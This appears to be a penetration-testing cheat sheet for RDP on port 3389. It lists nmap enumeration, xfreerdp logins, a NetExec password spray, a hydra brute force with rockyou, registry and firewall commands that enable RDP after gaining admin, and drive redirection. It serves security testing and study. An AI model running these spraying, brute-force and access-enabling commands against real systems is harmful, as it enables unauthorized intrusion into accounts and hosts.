RDP Enumeration (3389)
#Run nmap RDP scripts
#nmap --script=rdp-* -p 3389 $IP
Check RDP encryption and NLA
#nmap --script rdp-enum-encryption -p 3389 $IP
Connect with xfreerdp
#xfreerdp3 /v:$IP /u:administrator /p:password /cert:ignore +dynamic-resolution
Connect with domain auth
#xfreerdp3 /v:$IP /u:user /p:password /d:domain.local /cert:ignore
Password spray with NetExec
#netexec rdp $IP -u users.txt -p 'Password123!' --continue-on-success
Brute force RDP with hydra
#hydra -L /usr/share/wordlists/seclists/Usernames/top-usernames-shortlist.txt -P /usr/share/wordlists/rockyou.txt -t 1 -V $IP rdp
Enable RDP if you already have admin
#reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
netsh advfirewall firewall add rule name="Remote Desktop" dir=in action=allow protocol=TCP localport=3389
Drive redirection with xfreerdp
#xfreerdp3 /v:$IP /u:user /p:password /cert:ignore /drive:share,/tmp
List sessions after admin access
#query session
qwinsta
query user